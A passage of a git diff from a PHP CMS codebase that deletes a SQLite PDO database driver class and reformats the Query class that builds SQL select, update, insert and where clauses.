'TEXT', - 'date' => 'VARCHAR(14)', - 'float' => 'REAL', - ); - - /** - * @brief constructor - **/ - function DBSqlite3_pdo() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBSqlite3_pdo; - } - - /** - * @brief Return if installable - **/ - function isSupported() { - return class_exists('PDO'); - } - - function isConnected() { - return $this->is_connected; - } - - /** - * @brief DB settings and connect/close - **/ - function _setDBInfo() { - $db_info = Context::getDBInfo(); - $this->database = $db_info->master_db["db_database"]; - $this->prefix = $db_info->master_db["db_table_prefix"]; - //if(!substr($this->prefix,-1)!='_') $this->prefix .= '_'; - } - - /** - * @brief DB Connection - **/ - function _connect() { - // override if db information not exists - if(!$this->database) return; - - // Attempt to access the database file - try { - // PDO is only supported with PHP5, - // so it is allowed to use try~catch statment in this class. - $this->handler = new PDO('sqlite:'.$this->database); - } catch (PDOException $e) { - $this->setError(-1, 'Connection failed: '.$e->getMessage()); - $this->is_connected = false; - return; - } - - // Check connections - $this->is_connected = true; - $this->password = md5($this->password); - } - - /** - * @brief disconnect to DB - **/ - function close() { - if(!$this->is_connected) return; - $this->commit(); - } - - /** - * @brief Begin a transaction - **/ - function begin() { - if(!$this->is_connected || $this->transaction_started) return; - if($this->handler->beginTransaction()) $this->transaction_started = true; - } - - /** - * @brief Rollback - **/ - function rollback() { - if(!$this->is_connected || !$this->transaction_started) return; - $this->handler->rollBack(); - $this->transaction_started = false; - } - - /** - * @brief Commit - **/ - function commit($force = false) { - if(!$force && (!$this->is_connected || !$this->transaction_started)) return; - try { - $this->handler->commit(); - } - catch(PDOException $e){ - // There was no transaction started, so just continue. - error_log($e->getMessage()); - } - $this->transaction_started = false; - } - - /** - * @brief Add or change quotes to the query string variables - **/ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = str_replace("'","''",$string); - return $string; - } - - /** - * @brief : Prepare a query statement - **/ - function _prepare($query) { - if(!$this->is_connected) return; - - // notify to start a query execution - $this->actStart($query); - - $this->stmt = $this->handler->prepare($query); - - if($this->handler->errorCode() != '00000') { - $this->setError($this->handler->errorCode(), print_r($this->handler->errorInfo(),true)); - $this->actFinish(); - } - $this->bind_idx = 0; - $this->bind_vars = array(); - } - - /** - * @brief : Binding params in stmt - **/ - function _bind($val) { - if(!$this->is_connected || !$this->stmt) return; - - $this->bind_idx ++; - $this->bind_vars[] = $val; - $this->stmt->bindParam($this->bind_idx, $val); - } - - /** - * @brief : execute the prepared statement - **/ - function _execute() { - if(!$this->is_connected || !$this->stmt) return; - - $this->stmt->execute(); - - if($this->stmt->errorCode() === '00000') { - $output = null; - while($tmp = $this->stmt->fetch(PDO::FETCH_ASSOC)) { - unset($obj); - foreach($tmp as $key => $val) { - $pos = strpos($key, '.'); - if($pos) $key = substr($key, $pos+1); - $obj->{$key} = str_replace("''","'",$val); - } - $output[] = $obj; - } - } else { - $this->setError($this->stmt->errorCode(),print_r($this->stmt->errorInfo(),true)); - } - - $this->stmt = null; - $this->actFinish(); - - if(is_array($output) && count($output)==1) return $output[0]; - return $output; - } - - /** - * @brief Return the sequence value incremented by 1 - **/ - function getNextSequence() { - $query = sprintf("insert into %ssequence (seq) values (NULL)", $this->prefix); - $this->_prepare($query); - $result = $this->_execute(); - $sequence = $this->handler->lastInsertId(); - if($sequence % 10000 == 0) { - $query = sprintf("delete from %ssequence where seq < %d", $this->prefix, $sequence); - $this->_prepare($query); - $result = $this->_execute(); - } - - return $sequence; - } - - /** - * @brief return if the table already exists - **/ - function isTableExists($target_name) { - $query = sprintf('pragma table_info(%s%s)', $this->prefix, $target_name); - $this->_prepare($query); - if(!$this->_execute()) return false; - return true; - } - - /** - * @brief Add a column to a table - **/ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief Remove a column from a table - **/ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table %s%s drop column %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * @brief Return column information of a table - **/ - function isColumnExists($table_name, $column_name) { - $query = sprintf("pragma table_info(%s%s)", $this->prefix, $table_name); - $this->_prepare($query); - $output = $this->_execute(); - - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = strtolower($val->name); - if($column_name == $name) return true; - } - } - return false; - } - - /** - * @brief Add an index to a table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - - $query = sprintf('CREATE %s INDEX %s ON %s%s (%s)', $is_unique?'UNIQUE':'', $key_name, $this->prefix, $table_name, implode(',',$target_columns)); - $this->_prepare($query); - $this->_execute(); - } - - /** - * @brief Drop an index from a table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) { - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - $query = sprintf("DROP INDEX %s", $this->prefix, $table_name, $key_name); - $this->_query($query); - } - - /** - * @brief Return index information of a table - **/ - function isIndexExists($table_name, $index_name) { - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - - $query = sprintf("pragma index_info(%s)", $key_name); - $this->_prepare($query); - $output = $this->_execute(); - if(!$output) return false; - return true; - } - - /** - * @brief create a table from xml file - **/ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * @brief create a table from xml file - **/ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief generate a query to create a table using the schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - if(strtoupper($this->column_type[$type])=='INTEGER') $size = ''; - else $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if($auto_increment) { - $column_schema[] = sprintf('%s %s PRIMARY KEY %s', - $name, - $this->column_type[$type], - $auto_increment?'AUTOINCREMENT':'' - ); - } else { - $column_schema[] = sprintf('%s %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - $notnull?'NOT NULL':'', - $primary_key?'PRIMARY KEY':'', - isset($default)?"DEFAULT '".$default."'":'' - ); - } - - if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - $schema = sprintf('CREATE TABLE %s (%s%s) ;', $table_name," ", implode($column_schema,", ")); - $this->_prepare($schema); - $this->_execute(); - if($this->isError()) return; - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $query = sprintf('CREATE UNIQUE INDEX %s_%s ON %s (%s)', $this->addQuotes($table_name), $key, $this->addQuotes($table_name), implode(',',$val)); - $this->_prepare($query); - $this->_execute(); - if($this->isError()) $this->rollback(); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $query = sprintf('CREATE INDEX %s_%s ON %s (%s)', $this->addQuotes($table_name), $key, $this->addQuotes($table_name), implode(',',$val)); - $this->_prepare($query); - $this->_execute(); - if($this->isError()) $this->rollback(); - } - } - } - - function _getConnection($type = null){ - return null; - } - - /** - * @brief insertAct - * */ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - - $val_count = count($val_list); - for ($i = 0; $i < $val_count; $i++) - $this->_bind($val_list[$i]); - - return $this->_execute(); - } - - /** - * @brief updateAct - * */ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief deleteAct - * */ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief selectAct - * - * To fetch a list of the page conveniently when selecting, \n - * navigation method supported - * */ - function _executeSelectAct($queryObject) { - $query = $this->getSelectSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - $data = $this->_execute(); - // TODO isError is called twice - if ($this->isError()) - return; - - if ($this->isError()) - return $this->queryError($queryObject); - else - return $this->queryPageLimit($queryObject, $data); - } - - function queryError($queryObject) { - if ($queryObject->getLimit() && $queryObject->getLimit()->isPageHandler()) { - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array(); - $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values - return $buff; - }else - return; - } - - function queryPageLimit($queryObject, $data) { - if ($queryObject->getLimit() && $queryObject->getLimit()->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= ( __DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $this->_prepare($count_query); - $count_output = $this->_execute(); - $total_count = (int) $count_output->count; - - $list_count = $queryObject->getLimit()->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $queryObject->getLimit()->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $queryObject->getLimit()->page->getValue(); - if (!$page) $page = 1; - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } else - $total_page = 1; - - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; - - $this->_prepare($this->getSelectPageSql($queryObject, true, $start_count, $list_count)); - $this->stmt->execute(); - if ($this->stmt->errorCode() != '00000') { - $this->setError($this->stmt->errorCode(), print_r($this->stmt->errorInfo(), true)); - $this->actFinish(); - return $buff; - } - - $output = null; - $virtual_no = $total_count - ($page - 1) * $list_count; - //$data = $this->_fetch($result, $virtual_no); - while ($tmp = $this->stmt->fetch(PDO::FETCH_ASSOC)) { - unset($obj); - foreach ($tmp as $key => $val) { - $pos = strpos($key, '.'); - if ($pos) - $key = substr($key, $pos + 1); - $obj->{$key} = $val; - } - $datatemp[$virtual_no--] = $obj; - } - - $this->stmt = null; - $this->actFinish(); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $datatemp; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - //$data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - return $buff; - } - - function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) { - - $select = $query->getSelectString($with_values); - if ($select == '') - return new Object(-1, "Invalid query"); - $select = 'SELECT ' . $select; - - $from = $query->getFromString($with_values); - if ($from == '') - return new Object(-1, "Invalid query"); - $from = ' FROM ' . $from; - - $where = $query->getWhereString($with_values); - if ($where != '') - $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if ($groupBy != '') - $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if ($orderBy != '') - $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - if ($limit != '' && $query->getLimit()) { - $limit = sprintf(' LIMIT %d, %d',$start_count, $list_count); - } - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - function getParser() { - return new DBParser('"', '"', $this->prefix); - } - - function getUpdateSql($query, $with_values = true, $with_priority = false){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); - - $tableName = $query->getFirstTableName(); - if($tableName == '') return new Object(-1, "Invalid query"); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $tableName SET $columnsList ".$where; - } - - function getDeleteSql($query, $with_values = true, $with_priority = false){ - $sql = 'DELETE '; - - $tables = $query->getTables(); - $from = $tables[0]->getName(); - $sql .= ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; - } -} -?> diff --git a/classes/db/queryparts/Query.class.php b/classes/db/queryparts/Query.class.php index 516fb3212..5d7448f02 100644 --- a/classes/db/queryparts/Query.class.php +++ b/classes/db/queryparts/Query.class.php @@ -1,519 +1,674 @@ queryID = $queryID; - $this->action = $action; - $this->priority = $priority; + /** + * condition list + * @var string|array + */ + var $conditions; - if(!isset($tables)) return; - $this->columns = $this->setColumns($columns); - $this->tables = $this->setTables($tables); - $this->conditions = $this->setConditions($conditions); - $this->groups = $this->setGroups($groups); - $this->orderby = $this->setOrder($orderby); - $this->limit = $this->setLimit($limit); - } + /** + * group list + * @var string|array + */ + var $groups; - function show(){ - return TRUE; - } + /** + * order list + * @var array + */ + var $orderby; - function setQueryId($queryID){ - $this->queryID = $queryID; - } + /** + * limit count + * @var int + */ + var $limit; - function setAction($action){ - $this->action = $action; - } - - function setPriority($priority){ - $this->priority = $priority; - } + /** + * argument list + * @var array + */ + var $arguments = NULL; - function setColumnList($columnList){ - $this->columnList = $columnList; - if(count($this->columnList) > 0) { - $selectColumns = array(); - $dbParser = DB::getParser(); + /** + * column list + * @var array + */ + var $columnList = NULL; - foreach($this->columnList as $columnName){ - $columnName = $dbParser->escapeColumn($columnName); - $selectColumns[] = new SelectExpression($columnName); - } - unset($this->columns); - $this->columns = $selectColumns; - } - } + /** + * order by text + * @var string + */ + var $_orderByString; - function setColumns($columns){ - if(!isset($columns) || count($columns) === 0){ - $this->columns = array(new StarExpression()); - return; - } + /** + * constructor + * @param string $queryID + * @param string $action + * @param string|array $columns + * @param string|array $tables + * @param string|array $conditions + * @param string|array $groups + * @param string|array $orderby + * @param int $limit + * @param string $priority + * @return void + */ + function Query($queryID = NULL + , $action = NULL + , $columns = NULL + , $tables = NULL + , $conditions = NULL + , $groups = NULL + , $orderby = NULL + , $limit = NULL + , $priority = NULL) + { + $this->queryID = $queryID; + $this->action = $action; + $this->priority = $priority; - if(!is_array($columns)) $columns = array($columns); - - $this->columns = $columns; - } - - function setTables($tables){ - if(!isset($tables) || count($tables) === 0){ - $this->setError(TRUE); - $this->setMessage("You must provide at least one table for the query."); - return; - } - - if(!is_array($tables)) $tables = array($tables); - - $this->tables = $tables; - } - - function setSubquery($subquery){ - $this->subquery = $subquery; - } - - function setConditions($conditions){ - $this->conditions = array(); - if(!isset($conditions) || count($conditions) === 0) return; - if(!is_array($conditions)) $conditions = array($conditions); - - foreach($conditions as $conditionGroup){ - if($conditionGroup->show()) $this->conditions[] = $conditionGroup; - } - } - - function setGroups($groups){ - if(!isset($groups) || count($groups) === 0) return; - if(!is_array($groups)) $groups = array($groups); - - $this->groups = $groups; - } - - function setOrder($order){ - if(!isset($order) || count($order) === 0) return; - if(!is_array($order)) $order = array($order); - - $this->orderby = $order; - } - - function setLimit($limit = NULL){ - if(!isset($limit)) return; - $this->limit = $limit; - } - - // START Fluent interface - /** - * seleect set - * @param string|array $columns - * @return Query return Query instance - */ - function select($columns= NULL){ - $this->action = 'select'; - $this->setColumns($columns); - return $this; - } - - /** - * from set - * @param string|array $tables - * @return Query return Query instance - */ - function from($tables){ - $this->setTables($tables); - return $this; - } - - /** - * where set - * @param string|array $conditions - * @return Query return Query instance - */ - function where($conditions){ - $this->setConditions($conditions); - return $this; - } - - /** - * groupBy set - * @param string|array $groups - * @return Query return Query instance - */ - function groupBy($groups){ - $this->setGroups($groups); - return $this; - } - - /** - * orderBy set - * @param string|array $order - * @return Query return Query instance - */ - function orderBy($order){ - $this->setOrder($order); - return $this; - } - - /** - * limit set - * @param int $limit - * @return Query return Query instance - */ - function limit($limit){ - $this->setLimit($limit); - return $this; - } - // END Fluent interface - - function getAction(){ - return $this->action; - } - - function getPriority(){ - return $this->priority?'LOW_PRIORITY':''; - } - - /** - * Check if current query uses the click count attribute - * For CUBRID, this statement uses the click count feature. - * For the other databases, using this attribute causes a query - * to produce both a select and an update - */ - function usesClickCount() + if(!isset($tables)) { - return count($this->getClickCountColumns()) > 0; + return; } - function getClickCountColumns() + $this->columns = $this->setColumns($columns); + $this->tables = $this->setTables($tables); + $this->conditions = $this->setConditions($conditions); + $this->groups = $this->setGroups($groups); + $this->orderby = $this->setOrder($orderby); + $this->limit = $this->setLimit($limit); + } + + function show() + { + return TRUE; + } + + function setQueryId($queryID) + { + $this->queryID = $queryID; + } + + function setAction($action) + { + $this->action = $action; + } + + function setPriority($priority) + { + $this->priority = $priority; + } + + function setColumnList($columnList) + { + $this->columnList = $columnList; + if(count($this->columnList) > 0) { - $click_count_columns = array(); - foreach($this->columns as $column){ - if($column->show() && is_a($column, 'ClickCountExpression')) - $click_count_columns[] = $column; + $selectColumns = array(); + $dbParser = DB::getParser(); + + foreach($this->columnList as $columnName) + { + $columnName = $dbParser->escapeColumn($columnName); + $selectColumns[] = new SelectExpression($columnName); } - return $click_count_columns; - } - - /** - * Return select sql - * @param boolean $with_values - * @return string - */ - function getSelectString($with_values = TRUE){ - $select = array(); - foreach($this->columns as $column){ - if($column->show()) - if($column->isSubquery()){ - $select[] = $column->toString($with_values) . ' as '. $column->getAlias(); - } - else - $select[] = $column->getExpression($with_values); - } - return trim(implode($select, ', ')); - } - - /** - * Return update sql - * @param boolean $with_values - * @return string - */ - function getUpdateString($with_values = TRUE){ - foreach($this->columns as $column){ - if($column->show()) - $update[] = $column->getExpression($with_values); - } - return trim(implode($update, ', ')); - } - - /** - * Return insert sql - * @param boolean $with_values - * @return string - */ - function getInsertString($with_values = TRUE){ - $columnsList = ''; - if($this->subquery){ // means we have insert-select - - foreach($this->columns as $column){ - $columnsList .= $column->getColumnName() . ', '; - } - $columnsList = substr($columnsList, 0, -2); - - $selectStatement = $this->subquery->toString($with_values); - $selectStatement = substr($selectStatement, 1, -1); - - return "($columnsList) \n $selectStatement"; - } - - - $valuesList = ''; - foreach($this->columns as $column){ - if($column->show()){ - $columnsList .= $column->getColumnName() . ', '; - $valuesList .= $column->getValue($with_values) . ', '; - } - } - $columnsList = substr($columnsList, 0, -2); - $valuesList = substr($valuesList, 0, -2); - - return "($columnsList) \n VALUES ($valuesList)"; - } - - function getTables(){ - return $this->tables; - } - - /** - * from table_a - * from table_a inner join table_b on x=y - * from (select * from table a) as x - * from (select * from table t) as x inner join table y on y.x - * @param boolean $with_values - * @return string - */ - function getFromString($with_values = TRUE){ - $from = ''; - $simple_table_count = 0; - foreach($this->tables as $table){ - if($table->isJoinTable() || !$simple_table_count) $from .= $table->toString($with_values) . ' '; - else $from .= ', '.$table->toString($with_values) . ' '; - - if(is_a($table, 'Subquery')) $from .= $table->getAlias() ? ' as ' . $table->getAlias() . ' ' : ' '; - - $simple_table_count++; - } - if(trim($from) == '') return ''; - return $from; - } - - /** - * Return where sql - * @param boolean $with_values - * @param boolean $with_optimization - * @return string - */ - function getWhereString($with_values = TRUE, $with_optimization = TRUE){ - $where = ''; - $condition_count = 0; - - foreach ($this->conditions as $conditionGroup) { - if ($condition_count === 0) { - $conditionGroup->setPipe(""); - } - $condition_string = $conditionGroup->toString($with_values); - $where .= $condition_string; - $condition_count++; - } - - if ($with_optimization && - (strstr($this->getOrderByString(), 'list_order') || strstr($this->getOrderByString(), 'update_order'))) { - - if ($condition_count !== 0) - $where = '(' . $where . ') '; - - foreach ($this->orderby as $order) { - $colName = $order->getColumnName(); - if (strstr($colName, 'list_order') || strstr($colName, 'update_order')) { - $opt_condition = new ConditionWithoutArgument($colName, 2100000000, 'less', 'and'); - if ($condition_count === 0) - $opt_condition->setPipe(""); - $where .= $opt_condition->toString($with_values) . ' '; - $condition_count++; - } - } - } - - return trim($where); - } - - /** - * Return groupby sql - * @return string - */ - function getGroupByString(){ - $groupBy = ''; - if($this->groups) if($this->groups[0] !== "") - $groupBy = implode(', ', $this->groups); - return $groupBy; - } - - /** - * Return orderby sql - * @return string - */ - function getOrderByString(){ - if(!$this->_orderByString){ - if(count($this->orderby) === 0) return ''; - $orderBy = ''; - foreach($this->orderby as $order){ - $orderBy .= $order->toString() .', '; - } - $orderBy = substr($orderBy, 0, -2); - $this->_orderByString = $orderBy; - } - return $this->_orderByString; - } - - function getLimit(){ - return $this->limit; - } - - /** - * Return limit sql - * @return string - */ - function getLimitString(){ - $limit = ''; - if(count($this->limit) > 0){ - $limit = ''; - $limit .= $this->limit->toString(); - } - return $limit; - } - - function getFirstTableName(){ - return $this->tables[0]->getName(); - } - - /** - * Return argument list - * @return array - */ - function getArguments(){ - if(!isset($this->arguments)){ - $this->arguments = array(); - - // Join table arguments - if(count($this->tables) > 0) - { - foreach($this->tables as $table) - { - if($table->isJoinTable() || is_a($table, 'Subquery')) - { - $args = $table->getArguments(); - if($args) $this->arguments = array_merge($this->arguments, $args); - } - } - } - - // Column arguments - if(count($this->columns) > 0){ // The if is for delete statements, all others must have columns - foreach($this->columns as $column){ - if($column->show()){ - $args = $column->getArguments(); - if($args) $this->arguments = array_merge($this->arguments, $args); - } - } - } - - // Condition arguments - if(count($this->conditions) > 0) - foreach($this->conditions as $conditionGroup){ - $args = $conditionGroup->getArguments(); - if(count($args) > 0) $this->arguments = array_merge($this->arguments, $args); - } - - // Navigation arguments - if(count($this->orderby) > 0) - foreach($this->orderby as $order){ - $args = $order->getArguments(); - if(count($args) > 0) $this->arguments = array_merge($this->arguments, $args); - } - } - return $this->arguments; + unset($this->columns); + $this->columns = $selectColumns; } } + function setColumns($columns) + { + if(!isset($columns) || count($columns) === 0) + { + $this->columns = array(new StarExpression()); + return; + } + if(!is_array($columns)) + { + $columns = array($columns); + } -?> + $this->columns = $columns; + } + + function setTables($tables) + { + if(!isset($tables) || count($tables) === 0) + { + $this->setError(TRUE); + $this->setMessage("You must provide at least one table for the query."); + return; + } + + if(!is_array($tables)) + { + $tables = array($tables); + } + + $this->tables = $tables; + } + + function setSubquery($subquery) + { + $this->subquery = $subquery; + } + + function setConditions($conditions) + { + $this->conditions = array(); + if(!isset($conditions) || count($conditions) === 0) + { + return; + } + if(!is_array($conditions)) + { + $conditions = array($conditions); + } + + foreach($conditions as $conditionGroup) + { + if($conditionGroup->show()) + { + $this->conditions[] = $conditionGroup; + } + } + } + + function setGroups($groups) + { + if(!isset($groups) || count($groups) === 0) + { + return; + } + if(!is_array($groups)) + { + $groups = array($groups); + } + + $this->groups = $groups; + } + + function setOrder($order) + { + if(!isset($order) || count($order) === 0) + { + return; + } + if(!is_array($order)) + { + $order = array($order); + } + + $this->orderby = $order; + } + + function getOrder() + { + return $this->orderby; + } + + function setLimit($limit = NULL) + { + if(!isset($limit)) + { + return; + } + $this->limit = $limit; + } + + // START Fluent interface + /** + * seleect set + * @param string|array $columns + * @return Query return Query instance + */ + function select($columns = NULL) + { + $this->action = 'select'; + $this->setColumns($columns); + return $this; + } + + /** + * from set + * @param string|array $tables + * @return Query return Query instance + */ + function from($tables) + { + $this->setTables($tables); + return $this; + } + + /** + * where set + * @param string|array $conditions + * @return Query return Query instance + */ + function where($conditions) + { + $this->setConditions($conditions); + return $this; + } + + /** + * groupBy set + * @param string|array $groups + * @return Query return Query instance + */ + function groupBy($groups) + { + $this->setGroups($groups); + return $this; + } + + /** + * orderBy set + * @param string|array $order + * @return Query return Query instance + */ + function orderBy($order) + { + $this->setOrder($order); + return $this; + } + + /** + * limit set + * @param int $limit + * @return Query return Query instance + */ + function limit($limit) + { + $this->setLimit($limit); + return $this; + } + + // END Fluent interface + + function getAction() + { + return $this->action; + } + + function getPriority() + { + return $this->priority ? 'LOW_PRIORITY' : ''; + } + + /** + * Check if current query uses the click count attribute + * For CUBRID, this statement uses the click count feature. + * For the other databases, using this attribute causes a query + * to produce both a select and an update + */ + function usesClickCount() + { + return count($this->getClickCountColumns()) > 0; + } + + function getClickCountColumns() + { + $click_count_columns = array(); + foreach($this->columns as $column) + { + if($column->show() && is_a($column, 'ClickCountExpression')) + { + $click_count_columns[] = $column; + } + } + return $click_count_columns; + } + + /** + * Return select sql + * @param boolean $with_values + * @return string + */ + function getSelectString($with_values = TRUE) + { + foreach($this->columns as $column) + { + if($column->show()) + { + if($column->isSubquery()) + { + $select[] = $column->toString($with_values) . ' as ' . $column->getAlias(); + } + else + { + $select[] = $column->getExpression($with_values); + } + } + } + return trim(implode($select, ', ')); + } + + /** + * Return update sql + * @param boolean $with_values + * @return string + */ + function getUpdateString($with_values = TRUE) + { + foreach($this->columns as $column) + { + if($column->show()) + { + $update[] = $column->getExpression($with_values); + } + } + return trim(implode($update, ', ')); + } + + /** + * Return insert sql + * @param boolean $with_values + * @return string + */ + function getInsertString($with_values = TRUE) + { + $columnsList = ''; + // means we have insert-select + if($this->subquery) + { + foreach($this->columns as $column) + { + $columnsList .= $column->getColumnName() . ', '; + } + $columnsList = substr($columnsList, 0, -2); + $selectStatement = $this->subquery->toString($with_values); + $selectStatement = substr($selectStatement, 1, -1); + return "($columnsList) \n $selectStatement"; + } + + $valuesList = ''; + foreach($this->columns as $column) + { + if($column->show()) + { + $columnsList .= $column->getColumnName() . ', '; + $valuesList .= $column->getValue($with_values) . ', '; + } + } + $columnsList = substr($columnsList, 0, -2); + $valuesList = substr($valuesList, 0, -2); + + return "($columnsList) \n VALUES ($valuesList)"; + } + + function getTables() + { + return $this->tables; + } + + /** + * from table_a + * from table_a inner join table_b on x=y + * from (select * from table a) as x + * from (select * from table t) as x inner join table y on y.x + * @param boolean $with_values + * @return string + */ + function getFromString($with_values = TRUE) + { + $from = ''; + $simple_table_count = 0; + foreach($this->tables as $table) + { + if($table->isJoinTable() || !$simple_table_count) + { + $from .= $table->toString($with_values) . ' '; + } + else + { + $from .= ', ' . $table->toString($with_values) . ' '; + } + + if(is_a($table, 'Subquery')) + { + $from .= $table->getAlias() ? ' as ' . $table->getAlias() . ' ' : ' '; + } + + $simple_table_count++; + } + if(trim($from) == '') + { + return ''; + } + return $from; + } + + /** + * Return where sql + * @param boolean $with_values + * @param boolean $with_optimization + * @return string + */ + function getWhereString($with_values = TRUE, $with_optimization = TRUE) + { + $where = ''; + $condition_count = 0; + + foreach($this->conditions as $conditionGroup) + { + if($condition_count === 0) + { + $conditionGroup->setPipe(""); + } + $condition_string = $conditionGroup->toString($with_values); + $where .= $condition_string; + $condition_count++; + } + + if($with_optimization && + (strstr($this->getOrderByString(), 'list_order') || strstr($this->getOrderByString(), 'update_order'))) + { + + if($condition_count !== 0) + { + $where = '(' . $where . ') '; + } + + foreach($this->orderby as $order) + { + $colName = $order->getColumnName(); + if(strstr($colName, 'list_order') || strstr($colName, 'update_order')) + { + $opt_condition = new ConditionWithoutArgument($colName, 2100000000, 'less', 'and'); + if($condition_count === 0) + { + $opt_condition->setPipe(""); + } + $where .= $opt_condition->toString($with_values) . ' '; + $condition_count++; + } + } + } + + return trim($where); + } + + /** + * Return groupby sql + * @return string + */ + function getGroupByString() + { + $groupBy = ''; + if($this->groups) + { + if($this->groups[0] !== "") + { + $groupBy = implode(', ', $this->groups); + } + } + return $groupBy; + } + + /** + * Return orderby sql + * @return string + */ + function getOrderByString() + { + if(!$this->_orderByString) + { + if(count($this->orderby) === 0) + { + return ''; + } + $orderBy = ''; + foreach($this->orderby as $order) + { + $orderBy .= $order->toString() . ', '; + } + $orderBy = substr($orderBy, 0, -2); + $this->_orderByString = $orderBy; + } + return $this->_orderByString; + } + + function getLimit() + { + return $this->limit; + } + + /** + * Return limit sql + * @return string + */ + function getLimitString() + { + $limit = ''; + if(count($this->limit) > 0) + { + $limit = ''; + $limit .= $this->limit->toString(); + } + return $limit; + } + + function getFirstTableName() + { + return $this->tables[0]->getName(); + } + + /** + * Return argument list + * @return array + */ + function getArguments() + { + if(!isset($this->arguments)) + { + $this->arguments = array(); + + // Join table arguments + if(count($this->tables) > 0) + { + foreach($this->tables as $table) + { + if($table->isJoinTable() || is_a($table, 'Subquery')) + { + $args = $table->getArguments(); + if($args) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + + // Column arguments + // The if is for delete statements, all others must have columns + if(count($this->columns) > 0) + { + foreach($this->columns as $column) + { + if($column->show()) + { + $args = $column->getArguments(); + if($args) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + + // Condition arguments + if(count($this->conditions) > 0) + { + foreach($this->conditions as $conditionGroup) + { + $args = 